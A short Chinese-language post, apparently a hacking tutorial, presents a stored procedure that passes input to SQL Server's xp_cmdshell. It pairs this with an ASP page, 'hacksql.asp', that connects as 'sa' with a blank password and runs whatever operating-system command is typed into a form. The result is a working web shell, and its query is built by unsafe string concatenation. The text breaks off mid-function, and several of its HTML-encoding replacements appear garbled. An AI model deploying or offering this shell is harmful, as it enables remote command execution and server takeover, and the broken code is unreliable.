利用sql的預存程序實現dos命令的asp程式（原創^

程式|預存程序|原創 1、首先在sql裡面你能夠訪問的資料庫裡面建立預存程序，比如說：ddy
如下：
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程式裡如下：（hacksql.asp）
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
    work()
else
    show()
end if
function work()
    set conn=server.CreateObject("adodb.connection")
    set rs=server.CreateObject("adodb.recordset")
    conn.Open "xx","sa",""
    sql="exec ddy '"&cmd&"'"
    
    rs.Open sql,conn
    if not rs.EOF then
        do while not rs.eof
                                       Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
            rs.MoveNext
        loop
    else
        Response.Write "no"
    end if
    if rs.State=1 then rs.close
    set rs=nothing
    conn.Close
    set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
請輸入DOS命令：<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------轉換函式（為了顯示時比較工整）
    dim result
    dim l
    if isnull(str) then
       htmlencode2=""
       exit function
    end if
    l=len(str)
    result=""
    dim i
    for i = 1 to l
        select case mid(str,i,1)
               case "<"
                    result=result+"<"
               case ">"
                    result=result+">"
               case chr(34)
                    result=result+"""
               case "&"
                    result=result+"&"
               case chr(13)
                    result=result+"<br>"
               case chr(9)
                    result=result+"    "
           case "'"
            result=result+"’"
               case chr(32)               
                    result=result+" "
               &n
